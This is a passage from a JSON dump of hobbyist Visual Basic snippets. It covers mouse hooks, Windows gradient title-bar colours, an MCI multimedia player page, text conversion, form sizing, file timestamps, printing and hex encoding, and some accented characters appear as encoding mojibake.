\"Left Button \"\n If Button = vbRightButton Then s = \"Right Button \"\n If Button = vbMiddleButton Then s = \"Middle Button \"\n If Shift = vbShiftMask Then s = s & \"+ Shift \"\n If Shift = vbCtrlMask Then s = s & \"+ Ctrl \"\n If Shift = vbAltMask Then s = s & \"+ Alt \"\n Label1 = \"Mouse info\" & vbCrLf & \"X = \" & x & \" Y= \" & y & vbCrLf\n If s <> \"\" Then Label1 = Label1 & \"Extra Info: \" & vbCrLf & s & \"pressed\"\nEnd Sub\nPrivate Sub Form_Unload(Cancel As Integer)\n RemoveHook\nEnd Sub\n'--End of form code--\n"},{"WorldId":1,"id":9761,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9763,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9764,"LineNumber":1,"line":"'Here I have put the whole code (including API\n'declarations) to make pasting it into a module easier\n'To get the OS version:\nType OSVERSIONINFO\n dwOSVersionInfoSize As Long\n dwMajorVersion As Long\n dwMinorVersion As Long\n dwBuildNumber As Long\n dwPlatformId As Long\n szCSDVersion As String * 128 ' Maintenance string for PSS usage\nEnd Type\nPublic Const VER_PLATFORM_WIN32_NT = 2\nPublic Const VER_PLATFORM_WIN32_WINDOWS = 1\nDeclare Function GetVersionEx Lib \"kernel32\" Alias \"GetVersionExA\" (lpVersionInformation As OSVERSIONINFO) As Long\n'To get the color if supported:\nPublic Const COLOR_GRADIENTACTIVECAPTION = 27\nPublic Const COLOR_GRADIENTINACTIVECAPTION = 28\nDeclare Function GetSysColor Lib \"user32\" (ByVal nIndex As Long) As Long\n'To see if it's enabled:\nPublic Const SPI_GETGRADIENTCAPTIONS = &H1008\n'Changed the declaration a bit (removed the ByVal from lpvParam) to pass a pointer to Long:\nDeclare Function SystemParametersInfo Lib \"user32\" Alias \"SystemParametersInfoA\" (ByVal uAction As Long, ByVal uParam As Long, lpvParam As Any, ByVal fuWinIni As Long) As Long\n'Enumeration for GetGradientColor:\nEnum eGradientColors\n clrGradientActiveCaption = COLOR_GRADIENTACTIVECAPTION\n clrGradientInactiveCaption = COLOR_GRADIENTINACTIVECAPTION\nEnd Enum\n'Gets the system gradient end colors for active and inactive title bars\n'Raises error 5 if gradient title bars are not supported (in your app\n' it might be useful to return a default color instead)\nFunction GetGradientColor(ByVal lClrIdx As eGradientColors) As Long\n 'Are gradient title bars aupported ?:\n If IsWin98Or2000 Then\n 'Supported, call the GetSysColor() API to get the color:\n GetGradientColor = GetSysColor(lClrIdx)\n Else\n 'Not supported, raise an error:\n Err.Raise 5, , \"Gradient Titlebars not supported by this OS version !\"\n \n 'Might be more useful (if you think so):\n \n ''Return a default color:\n 'GetGradientColor = vbCyan\n End If\nEnd Function\n'This function returns True if the gradient effect is enabled/supported\n'Under Win98/2000/higher it calls the SystemParametersInfo() API to check if it's enabled,\n'under Win95/NT 4 it always returns False.\nFunction IsGradientEnabled() As Boolean\n Dim lEnabled As Long\n If IsWin98Or2000 Then\n lEnabled = 0\n 'Call the API to check if it's enabled:\n SystemParametersInfo SPI_GETGRADIENTCAPTIONS, 0, lEnabled, 0\n 'Return the value:\n IsGradientEnabled = CBool(lEnabled)\n Else\n 'Gradient not supported, return False:\n IsGradientEnabled = False\n End If\nEnd Function\n'This function returns True if the OS Version is Win98, 2000 or higher\n' (-> a version which has gradient title bars)\nFunction IsWin98Or2000() As Boolean\n Static bWasInHere As Boolean, bState As Boolean\n 'May it speed up a bit when called often:\n If Not bWasInHere Then\n Dim OSV As OSVERSIONINFO\n OSV.dwOSVersionInfoSize = Len(OSV)\n 'Get the OS version:\n GetVersionEx OSV\n bState = False\n 'Check if platform Win95/98/ME\n If (OSV.dwPlatformId = VER_PLATFORM_WIN32_WINDOWS) Then\n 'dwMinorVersion > 0 And dwMajorVersion =4 -> Win98\n If (OSV.dwMajorVersion > 4) Or ((OSV.dwMajorVersion = 4) And (OSV.dwMinorVersion > 0)) Then\n 'It's Win98 or higher\n bState = True\n Else\n 'It's Win95:\n bState = False\n End If\n 'Check if platform NT/Win2000:\n ElseIf (OSV.dwPlatformId = VER_PLATFORM_WIN32_NT) Then\n If (OSV.dwMajorVersion >= 5) Then\n 'It's Win2000 or higher:\n bState = True\n Else\n 'Is NT4 (or lower):\n bState = False\n End If\n End If\n bWasInHere = True\n End If\n 'Return our result:\n IsWin98Or2000 = bState\nEnd Function"},{"WorldId":1,"id":9770,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9773,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9775,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9777,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9778,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9781,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9783,"LineNumber":1,"line":"<html>\n<head>\n<meta http-equiv=\"Content-Type\"\ncontent=\"text/html; charset=windows-1256\">\n<meta name=\"GENERATOR\" content=\"Microsoft FrontPage Express 2.0\">\n<title>Are you Sure wanna using API to Playing video or audio files and forget ocx?</title>\n</head>\n<body>\nWow\nVersion 6.1\n<code>Are\nyou Sure wanna using Windows API to Playing video *.dat) or audio\n(including (including *.mpg and *.mp3) or Midi files and forget\nocx? \nThen Download this source.</code>\n<code>I\nknow the Controls like MCI32.ocx, ActiveMovie and Media player\ncan do this but the control have disadvantages like it size about\nmore than 90 kb,but now your program just will increased 6 kilo\nbytes(this size of the Module) and not take system resources.</code>\n┬á\nNote : This\nsource code Support DVD's Video if you had VGA Card Support DVD\nlike ATI RAGE II Or All in Wonder 128.\nPlease reRead\nthe description for Function OpenMultimedia in the Module or in\nthe form(This simple update for version 5.0)\n<div align=\"center\"><center>\n<table border=\"1\">\n <tr>\n <td>Advantages\n for this Source Code\n <var>1-This code\n Just use </var><var>Windows</var><font\n size=\"3\" face=\"Comic Sans MS\"><var> </var><font\n color=\"#FF0000\" size=\"3\" face=\"Comic Sans MS\"><var>API\n calls (no ocx) ,no install new dll</var><font\n size=\"3\" face=\"Comic Sans MS\"><var>.</var>\n <var>2-This code\n work </var><var>useful for Windows98,</var><font\n color=\"#800000\" size=\"3\" face=\"Comic Sans MS\"><var>Windows\n 2000 and Windows NT </var><var>without installing any\n other programs</var><var>.</var>\n <var>3-It has </var><font\n color=\"#FF0000\" size=\"3\" face=\"Comic Sans MS\"><var>ready\n functions in the Module or Dll for Standerd use just for\n copy and paste in your own projects</var><font\n size=\"3\" face=\"Comic Sans MS\"><var>.</var>\n <var>4-More </var><font\n color=\"#FF0000\" size=\"3\" face=\"Comic Sans MS\"><var>faster</var><font\n size=\"3\" face=\"Comic Sans MS\"><var> than WinAmp and Xing\n Mpeg in playing and viewing Movie.</var>\n <var>5-It can\n playing all Multimedia files by </var><font\n color=\"#FF0000\" size=\"3\" face=\"Comic Sans MS\"><var>less\n lines included</var><var> mp3,mpg,avi,wav..etc.</var>\n <var>6-It has </var><font\n color=\"#FF0000\" size=\"3\" face=\"Comic Sans MS\"><var>the\n most controls</var><var> for multimedia files(keep on\n reading the page and you will know the controls).</var>\n <var>7-It can open\n </var><var>all movie files</var><font\n size=\"3\" face=\"Comic Sans MS\"><var>.</var>\n <var>8-It have </var><font\n color=\"#FF0000\" size=\"3\" face=\"Comic Sans MS\"><var>descriptions.</var>\n <var>9-It Include\n four Sources in the zip (three for vb and dll in C++).</var>\n <var>10-It for all\n Levels (advanced - intermediate - beginner).</var>\n <var>11-very easy\n (read the code carefully).</var>\n <var>12-Others (keep\n on reading this page).</var>\n </td>\n </tr>\n</table>\n</center></div>\nThis code Updated to be more well Download\nit again\nPlease\nreRead the descriptions for function OpenMultimedia in\nthe form or in the Module.\n<div align=\"center\"><center>\n<table border=\"1\">\n <tr>\n <td>Version 6.1 \n Special thanks to <font\n color=\"#FF0000\" face=\"Comic Sans MS\">\"Hans de Vries\"\n For Notice me about bug when playing rmi files in some\n computers (it was repaired).\n Version 6.0\n For request Members planet-source-code\n I add four Functions:\n 1-Two Functions to deal with\n volume audio for every channel(left or right) or the the\n both:\n one to get volume for every channel\n audio and the another to set volume for every channel or\n the both.\n NOTE: Contolling with volume for\n every Multimedia file not for all Multimedia files(not\n like Mixer windows).\n 2-Two Functions to deal with\n Rate playing Multimedia file (one to increase speed\n playing or decrease speed playing and the another to get\n current Rate).\n NOTE: Contolling with Rate for every\n Multimedia file not for all Multimedia files.\n Via this version you can watch a\n movie file and also playing mp3 file at the same time and\n decrease the volume for mp3 in one channel or the both.\n See the screenshot.\n Good luke.\n Version 5.0\n 1-In this version there were\n common errors in Windows 2000 was repaired <font\n color=\"#800000\" size=\"3\" face=\"Comic Sans MS\">(now the\n code useful for win2000).\n 2-I added Function for\n Channels Audio Control (see the screenshot).\n <code>What\n the </code><code>Advantages\n for this Update?</code>\n you can here play on Left channel\n audio file and on right channel another audio file at the\n same time Or:\n play the file two times at the same\n time one on the left and the another on the right. \n Click on buttons \"Demo\" to\n see some effect by this way.\n Note: you must Extract all files\n from the zip.\n Good luke.\n (Update IIII)\n <code>there\n were some common errors in Windows NT4 was repaired (Special\n thanks to Alex for notice me)</code>\n <code>and\n I added function for request memebers to get the actual\n size and current size.</code>\n <code>Note\n the update just in source \"MultiMedia Contoller\"</code>\n (Update III)\n <code>I\n added the source code which sent to MSDN library and it\n Update for previous version from \"Pure API\".</code>\n <code>What\n the </code>Advantages for this Update?\n It can open more than one Multimedia\n file at the same time and play it .\n e.g.\n (you can play more than one mp3 or\n movie at the same time).\n Important note: You can play a lot\n files at same time if it from type \"MPEGVideo\"\n this mean just the following types you can play it\n altogther :\n qt,mov,\n dat,snd, mpg<font\n color=\"#800080\" size=\"2\">, mpa, mpv, enc, m1v, mp2,<font\n color=\"#FF0000\" size=\"2\">mp3, mpe, mpeg, mpm au,snd, aif, aiff,\n aifc,wav,,etc.\n and the\n following types can not play altogether :\n mid,rmi,avi.\n becsause the sound card will be busy.\n anyway\n most peoples using mpg,dat,mov,etc for the movie and mp3,mp2,mp1,wav,etc\n for the audio and if you have movie (avi) you can convert\n it to mpg ,dat ,mov or any other mpegs types and play it\n altogther.\n if you\n wanna the ways to convert avi to mpegs types please\n contact to me at : a_ahdal@yahoo.com\n this will benefit you if you wanna\n make some simple games,,etc.\n see the picture in this page to show\n the program.\n (UPDATE II)\n <code>I\n added two Functions one to Get Frames per Second</code>\n <code>and\n the Another to let you know if the File Multimedia at the\n End (this benefit you if you wanna play a list of\n Multimedia Files).</code>\n (UPDATE I)\n <code>You can by this update to\n open any file even have spaces.(Special Thanks to Janet)</code>\n <code>And I added two Functions to\n repair any problem will met you if you used Xing Mpeg\n Drivers.</code>\n </td>\n </tr>\n</table>\n</center></div>\n \nYou can here Play all MultiMeida Files by\nPure API \n\n<div align=\"center\"><center>\n<table border=\"1\">\n <tr>\n <td align=\"center\">in first if you wanna playing these types: \n qt , mov, dat,snd, mpg, mpa, mpv, enc, m1v, mp2,mp3, mpe,\n mpeg, mpm \n au , snd, aif, aiff, aifc,wav. \n The Secret is: \n You Must use when you write Command To MCI by Function \n mciSendString write like this : \n open c:\\myfile type MpegVideo .......etc \n note: we written \"MpegVideo\" as a type \n and we will written \n open c:\\myfile type AviVideo .......etc \n if we wanna opening avi files \n I got this info \"MPEGVideo\"\n for how you can plays MPEGs types from my experinace when \n I openned file system.ini and I saw the section of MCI\n like this:</td>\n </tr>\n</table>\n</center></div><div align=\"center\"><center>\n<table border=\"1\">\n <tr>\n <td align=\"center\"><code>extensions</code></td>\n <td align=\"center\"><code>Type</code></td>\n <td align=\"center\"><code>extensions</code></td>\n <td align=\"center\"><code>Type</code></td>\n </tr>\n <tr>\n <td align=\"center\"><code>snd</code></td>\n <td align=\"center\"><code>MPEGVideo</code></td>\n <td align=\"center\"><code>Mid</code></td>\n <td align=\"center\"><code>Sequencer</code></td>\n </tr>\n <tr>\n <td align=\"center\"><code>qt</code></td>\n <td align=\"center\"><code>MPEGVideo</code></td>\n <td align=\"center\"><code>rmi\n </code></td>\n <td align=\"center\"><code>MPEGVideo</code></td>\n </tr>\n <tr>\n <td align=\"center\"><code>dat</code></td>\n <td align=\"center\"><code>MPEGVideo</code></td>\n <td align=\"center\"><code>wav</code></td>\n <td align=\"center\"><code>waveaudio</code></td>\n </tr>\n <tr>\n <td align=\"center\"><code>mpg</code></td>\n <td align=\"center\"><code>MPEGVideo</code></td>\n <td align=\"center\"><code>avi\n </code></td>\n <td align=\"center\"><code>AVIVideo</code></td>\n </tr>\n <tr>\n <td align=\"center\"><code>mpeg</code></td>\n <td align=\"center\"><code>MPEGVideo</code></td>\n <td align=\"center\"><code>cda</code></td>\n <td align=\"center\"><code>CDAudio</code></td>\n </tr>\n <tr>\n <td align=\"center\"><code>mpe</code></td>\n <td align=\"center\"><code>MPEGVideo</code></td>\n <td align=\"center\"><code>aif\n </code></td>\n <td align=\"center\"><code>MPEGVideo</code></td>\n </tr>\n <tr>\n <td align=\"center\"><code>mpa</code></td>\n <td align=\"center\"><code>MPEGVideo</code></td>\n <td align=\"center\"><code>aiff</code></td>\n <td align=\"center\"><code>MPEGVideo</code></td>\n </tr>\n <tr>\n <td align=\"center\">mp2</td>\n <td align=\"center\"><code>MPEGVideo</code></td>\n <td align=\"center\"><code>aifc</code></td>\n <td align=\"center\"><code>MPEGVideo</code></td>\n </tr>\n <tr>\n <td align=\"center\">mov</td>\n <td align=\"center\"><code>MPEGVideo</code></td>\n <td align=\"center\">m1v</td>\n <td align=\"center\"><code>MPEGVideo</code></td>\n </tr>\n <tr>\n <td align=\"center\">au</td>\n <td align=\"center\"><code>MPEGVideo</code></td>\n <td align=\"center\">vob (DVD)</td>\n <td align=\"center\"><code>MPEGVideo</code></td>\n </tr>\n</table>\n</center></div>\n<table border=\"1\">\n <tr>\n <td align=\"middle\">this mean if you wanna open mpg or\n dat file you will choose \n type \"MpegVideo\" \n and if you wanna open avi Files you will choose type\n \"AviVideo\" \n And Remember Dealing with type \"MpegVideo\" like\n dealing with type \n \"AviVedio\" \n You can also found this info I downloaded it in a\n Complete program in planet source in the past \n Under Name \"<a\n href=\"http://www.planet-source-code.com/vb/scripts/ShowCode.asp?lngWId=1&txtCodeId=6349\"\n target=\"_blank\">MPEG\n Viewer</a>\"\n to playing video in any place you want for e.g. in your\n Desktop. \n anyway maybe you will say now I wanna a standard commands\n in a module or dll to dealing with \n \"MpegVideo\" and other types like : \n \n <div align=\"center\"><center><table border=\"1\">\n <tr>\n <td align=\"center\"><font\n size=\"2\" face=\"Comic Sans MS\">1-Open most\n multimmedia files \n 2-Playing it\n 3-Pause it\n 4- Stop it\n 5-Resume it\n 6-Close it\n 7-Get Current position(current\n frame)\n 8-Get current time\n 9-Get Percent of playing\n file\n 10-make it auto Repeat\n 11-Get Total frames\n 12- Get Total Time\n 13-Get the Status of file if\n it \"playing or stopped or paused\"\n 14-Get actual size (new).\n 15-Get current size (new).\n 16-Resize the movie.\n 17-Get number frames per\n second\n 18-let you know if\n multimedia at the end now.\n 19-Get current Rate.(new)\n 20-increase or decrease rate\n playing.(new)\n 21-Get current volume for\n every channel (left or right) or the both.(new)\n 22-Set volume for every\n channel (left or right) or the both.(new)\n 23- turn off or turn on\n every channel or the both.(new)\n </td>\n </tr>\n </table>\n </center></div>You have three ways to doing this: \n 1-if you are using VB and wanna uses\n module in your code and calling the functions from it (this\n option is the best for you).the exe are \"Multimedia\n Controller.exe\" and \"Pure API.exe\"\n 2-if you are using VB and wanna uses\n library dll made by C++ to calling functions the exe is\n \"calldll.exe\". \n \n 3-if you are using VC++ and <font\n color=\"#008080\" size=\"2\" face=\"Comic Sans MS\">wanna\n calling functions from dll or copy and paste the functons\n in your projects.(well option for who using VC++)\n Note there are Update III which sent\n to MSDN library under name \"Multimedia Controller\"<font\n color=\"#FF00FF\" size=\"2\" face=\"Comic Sans MS\"> \n \n Please Download the code and read it\n carefully\n Note:\n I downloaded the source of the dll.\n if\n you are wanna using the module you can calling the\n functions from the Module without using the dll. \n if you are advanced you can read the dll and the module\n or if you are Beginner just <font\n color=\"#FF0000\" size=\"2\" face=\"Comic Sans MS\">copy and\n paste the module in your project and just\n know how you can calling the functions(very easy for all\n levels Advanced -Intermediate-Beginner).<font\n size=\"2\" face=\"Comic Sans MS\"> \n Note : I written the DLL in C++ and\n the Module in Visual basic for Planet-Source Specially\n and for standard use and you can Develop it,but please\n send to me a copy:).\n </td>\n </tr>\n</table>\nNote all Multimedia extensions you can play\nit\nYou have in Module and dll a standard\nFunctions for all users to Do what you want in Multimedia(commands\nvery easy, any one can use it)\nI Think You will never use any controls for\nMultimedia If you Downloaded This Code.<font\ncolor=\"#008000\" size=\"3\" face=\"Comic Sans MS\"> \n \nI think you\nwhile reading the source you will forget vote me , don't forget=:)Okay?. \n\nEnjoy<font\nface=\"Comic Sans MS\"> \n\n<div align=\"center\"><center>\n<table border=\"1\">\n <tr>\n <td><code>Nice\n Example</code>\n <a href=\"http://programmer2000.tripod.com/oops.mpg\"\n target=\"_blank\"><code>Download\n Sample Movie</code></a>\n <code>Run the\n program and Select the Movie which you downloaded it </code>\n <code>1-Click on\n button \"open\" and </code>\n <code>2-write in\n textbox \"from\" Value \"20\"</code>\n <code>3-write in\n textbox \"to\" Value \"70\"</code>\n <code>4-Click on\n button \"play\"</code>\n <code>5-Set check\n auto repeat true</code>\n <code>This Example\n will let the movie played from frame number 20 to frame\n number 70</code>\n <code>Listen the\n Songer will say \"Think in love\" (just). :).</code>\n <code>if you want\n to play the file from beginning to end remove any value\n from testbox \"from\"</code>\n <code>and textbox\n \"to\" .Enjoy :)</code>\n </td>\n </tr>\n</table>\n</center></div>\n</body>\n</html>\n"},{"WorldId":1,"id":9792,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9793,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9794,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9798,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9799,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9803,"LineNumber":1,"line":"Private Sub Command1_Click()\nText1.Tag = \"\" 'clears tag each click\nFor i = 1 To Len(Text1)\nstrnew = Mid(Text1, i, 1)\n If strnew = \"a\" Then strnew = \"├ú\" 'converts each letter\n If strnew = \"A\" Then strnew = \"├ä\" 'you can edit these\n If strnew = \"b\" Then strnew = \"b\"\n If strnew = \"B\" Then strnew = \"├ƒ\"\n If strnew = \"c\" Then strnew = \"├º\"\n If strnew = \"C\" Then strnew = \"├ç\"\n If strnew = \"d\" Then strnew = \"├░\"\n If strnew = \"D\" Then strnew = \"├É\"\n If strnew = \"e\" Then strnew = \"├½\"\n If strnew = \"E\" Then strnew = \"┬ú\"\n If strnew = \"f\" Then strnew = \"ƒ\"\n If strnew = \"F\" Then strnew = \"F\"\n If strnew = \"g\" Then strnew = \"g\"\n If strnew = \"G\" Then strnew = \"G\"\n If strnew = \"h\" Then strnew = \"h\"\n If strnew = \"H\" Then strnew = \"H\"\n If strnew = \"i\" Then strnew = \"├»\"\n If strnew = \"I\" Then strnew = \"├Ä\"\n If strnew = \"j\" Then strnew = \"J\"\n If strnew = \"J\" Then strnew = \"┬┐\"\n If strnew = \"k\" Then strnew = \"l‹\"\n If strnew = \"K\" Then strnew = \"\\<\"\n If strnew = \"l\" Then strnew = \"|\"\n If strnew = \"L\" Then strnew = \"(_\"\n If strnew = \"m\" Then strnew = \"m\"\n If strnew = \"M\" Then strnew = \"/V\\\"\n If strnew = \"n\" Then strnew = \"├▒\"\n If strnew = \"N\" Then strnew = \"├æ\"\n If strnew = \"o\" Then strnew = \"├╕\"\n If strnew = \"O\" Then strnew = \"├ò\"\n If strnew = \"p\" Then strnew = \"├₧\"\n If strnew = \"P\" Then strnew = \"├╛\"\n If strnew = \"q\" Then strnew = \"q\"\n If strnew = \"Q\" Then strnew = \"├ÿ\"\n If strnew = \"r\" Then strnew = \"R\"\n If strnew = \"R\" Then strnew = \"r\"\n If strnew = \"s\" Then strnew = \"š\"\n If strnew = \"S\" Then strnew = \"Š\"\n If strnew = \"t\" Then strnew = \"†\"\n If strnew = \"T\" Then strnew = \"t\"\n If strnew = \"u\" Then strnew = \"├║\"\n If strnew = \"U\" Then strnew = \"├£\"\n If strnew = \"v\" Then strnew = \"V\"\n If strnew = \"V\" Then strnew = \"\\/\"\n If strnew = \"w\" Then strnew = \"vv\"\n If strnew = \"W\" Then strnew = \"VV \"\n If strnew = \"x\" Then strnew = \"X\"\n If strnew = \"X\" Then strnew = \"><\"\n If strnew = \"y\" Then strnew = \"├┐\"\n If strnew = \"Y\" Then strnew = \"┬Ñ\"\n If strnew = \"z\" Then strnew = \"Z\"\n If strnew = \"Z\" Then strnew = \"z\"\n'add new character one at a time:\nText1.Tag = Text1.Tag + strnew\nNext i\nText1.Text = Text1.Tag\nEnd Sub\n"},{"WorldId":1,"id":9805,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9810,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9811,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9817,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9819,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9822,"LineNumber":1,"line":"Sub Size(sForm As Form, sWidth As Integer, sHeight As Integer)\nDim t_ScaleMode As Integer, t_Width As Integer, t_Height As Integer\n t_ScaleMode = sForm.ScaleMode\n sForm.ScaleMode = 1\n t_Width = sForm.Width - sForm.ScaleWidth\n t_Height = sForm.Height - sForm.ScaleHeight\n sForm.Width = (sWidth * Screen.TwipsPerPixelX) + t_Width\n sForm.Height = (sHeight * Screen.TwipsPerPixelY) + t_Height\n sForm.ScaleMode = t_ScaleMode\nEnd Sub"},{"WorldId":1,"id":9823,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9824,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9825,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9826,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9831,"LineNumber":1,"line":"Option Explicit\nPrivate Const GENERIC_WRITE As Long = &H40000000\nPrivate Const GENERIC_READ As Long = &H80000000\nPrivate Const FILE_ATTRIBUTE_NORMAL As Long = &H80\nPrivate Const CREATE_ALWAYS As Long = 2\nPrivate Const OPEN_ALWAYS As Long = 4\nPrivate Const INVALID_HANDLE_VALUE As Long = -1\nPrivate Declare Function GetFileSize Lib \"kernel32\" (ByVal hFile As Long, lpFileSizeHigh As Long) As Long\nPrivate Declare Function ReadFile Lib \"kernel32\" (ByVal hFile As Long, ByVal lpBuffer As Long, _\n ByVal nNumberOfBytesToRead As Long, lpNumberOfBytesRead As Long, _\n ByVal lpOverlapped As Long) As Long\nPrivate Declare Function CloseHandle Lib \"kernel32\" (ByVal hObject As Long) As Long\nPrivate Declare Function WriteFile Lib \"kernel32\" (ByVal hFile As Long, _\n lpBuffer As Any, ByVal nNumberOfBytesToWrite As Long, _\n lpNumberOfBytesWritten As Long, ByVal lpOverlapped As Long) As Long\nPrivate Declare Function CreateFile Lib \"kernel32\" _\n Alias \"CreateFileA\" (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, _\n ByVal dwShareMode As Long, ByVal lpSecurityAttributes As Long, _\n ByVal dwCreationDisposition As Long, ByVal dwFlagsAndAttributes As Long, _\n ByVal hTemplateFile As Long) As Long\nPrivate Declare Function SetFileTime Lib \"kernel32\" (ByVal hFile As Long, _\n lpCreationTime As FILETIME, lpLastAccessTime As FILETIME, _\n lpLastWriteTime As FILETIME) As Long\nPrivate Declare Function SystemTimeToFileTime Lib \"kernel32\" _\n (lpSystemTime As SYSTEMTIME, lpFileTime As FILETIME) As Long\n \nPrivate Declare Function FileTimeToSystemTime Lib \"kernel32\" _\n (lpFileTime As FILETIME, lpSystemTime As SYSTEMTIME) As Long\nPrivate Declare Sub GetSystemTime Lib \"kernel32\" (lpSystemTime As SYSTEMTIME)\nPrivate Type FILETIME\n dwLowDateTime As Long\n dwHighDateTime As Long\nEnd Type\nPrivate Type SYSTEMTIME\n wYear As Integer\n wMonth As Integer\n wDayOfWeek As Integer\n wDay As Integer\n wHour As Integer\n wMinute As Integer\n wSecond As Integer\n wMilliseconds As Integer\nEnd Type\nPrivate Sub Command1_Click()\nDim fHandle As Long\nDim FILE_NAME As String\nFILE_NAME = \"c:\\test.txt\" 'File with the dates to change\nDim FTime As FILETIME\nfHandle = CreateFile(FILE_NAME, GENERIC_WRITE Or GENERIC_READ, 0, 0, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0)\nIf fHandle <> INVALID_HANDLE_VALUE Then\n FTime = GetSysTimeAsFILETIME\n SetFileTime fHandle, FTime, FTime, FTime\n CloseHandle fHandle\nEnd If\nEnd Sub\nPrivate Function GetSysTimeAsFILETIME() As FILETIME\nDim SysTime As SYSTEMTIME\nDim FTime As FILETIME\nDim erg As Long\nGetSystemTime SysTime\nerg = SystemTimeToFileTime(SysTime, FTime)\nGetSysTimeAsFILETIME = FTime\nEnd Function"},{"WorldId":1,"id":9834,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9835,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9839,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9842,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9850,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9851,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9853,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9855,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9858,"LineNumber":1,"line":"Function AccIns(Str As String) As String\n Dim CurLtr As String * 1\n \n For x = 1 To Len(Str)\n CurLtr = Mid(Str, x, 1)\n \n Select Case CurLtr\n Case \"e\", \"├⌐\", \"├¿\", \"├¬\", \"├½\", \"E\", \"├ë\", \"├ê\", \"├è\", \"├ï\"\n AccIns = AccIns & \"[e├⌐├¿├¬├½E├ë├ê├è├ï]\"\n Case \"a\", \"├á\", \"├ó\", \"├ñ\", \"A\", \"├Ç\", \"├é\", \"├ä\"\n AccIns = AccIns & \"[a├á├ó├ñA├Ç├é├ä]\"\n \n Case \"i\", \"├¼\", \"├»\", \"├«\", \"I\", \"├î\", \"├Å\", \"├Ä\"\n AccIns = AccIns & \"[i├»├«├¼I├Å├Ä├î]\"\n \n Case \"o\", \"├┤\", \"├╢\", \"├▓\", \"O\", \"├ö\", \"├û\", \"├Æ\"\n AccIns = AccIns & \"[o├┤├╢├▓O├ö├û├Æ]\"\n Case \"u\", \"├╣\", \"├╗\", \"├╝\", \"U\", \"├Ö\", \"├¢\", \"├£\"\n AccIns = AccIns & \"[u├╗├╝├╣U├¢├£├Ö]\"\n \n Case \"c\", \"├º\", \"C\", \"├ç\"\n AccIns = AccIns & \"[cC├º├ç]\"\n \n Case Else\n AccIns = AccIns & CurLtr\n End Select\n Next\nEnd Function"},{"WorldId":1,"id":9861,"LineNumber":1,"line":"Many people believe VB to be a major pain as like other programming languages because they are too tech. So are most things if you think about it for long enough and you're new to it. Anyway, here is a simple way to print in visual basic and also introduce you to a neat printing method. I take no credit for this because it is an article I found elsewhere.\n\nCreate a new standard.exe\n\ncreate two labels\n\ndo what you want with the labels. The name and the captions don't matter.\n\nNow, create a button and change its caption to: &Print and its name to cmdPrint.\n\nIn the button's code window, type the following code:\n\nPrinter.Print label1.caption; spc(30); label2.caption\n\nThe above code must all be on 1 line.\n\nGood. You've mastered a simple printing method.\n\nYou can, of course, manipulate the printing methods above to print documents in a snazzy manner. \n\nBefore End Sub, type the following code:\n\nPrinter.Enddoc\n\nThis ensures the print job ends as you finish printing. Nice one!"},{"WorldId":1,"id":9862,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9863,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9870,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9871,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9879,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9888,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9890,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9895,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9896,"LineNumber":1,"line":"'Put this code in a .bas module\nPublic Sub MSFlexGridColors(ColorGrid As MSFlexGrid, R As Integer, G As Integer, B As Integer)\nFor j = 0 To ColorGrid.Cols - 1\n For i = 1 To ColorGrid.Rows - 1\n If i / 2 <> Int(i / 2) Then\n ColorGrid.Col = j\n ColorGrid.Row = i\n ColorGrid.CellBackColor = RGB(R, G, B)\n End If\n Next i\nNext j\nEnd Sub\n'Then use this code to activat the SUB:\n'(general: MSFlexGridColors MSFlexGrid, Red, Green, Blue)\nMSFlexGridColors Form1.MSFlexGrid, 192, 255, 192\n'I hope this can help you for your design\n"},{"WorldId":1,"id":9897,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9899,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9900,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9901,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9904,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9905,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9917,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9923,"LineNumber":1,"line":"Public Function EnHex(Data As String) As String\n Dim iCount As Double\n Dim sTemp As String\n \n For iCount = 1 To Len(Data)\n sTemp = Hex$(Asc(Mid$(Data, iCount, 1)))\n If Len(sTemp) < 2 Then sTemp = \"0\" & sTemp\n EnHex = EnHex & sTemp\n Next iCount\nEnd Function\nPublic Function DeHex(Data As String) As String\n Dim iCount As Double\n For iCount = 1 To Len(Data) Step 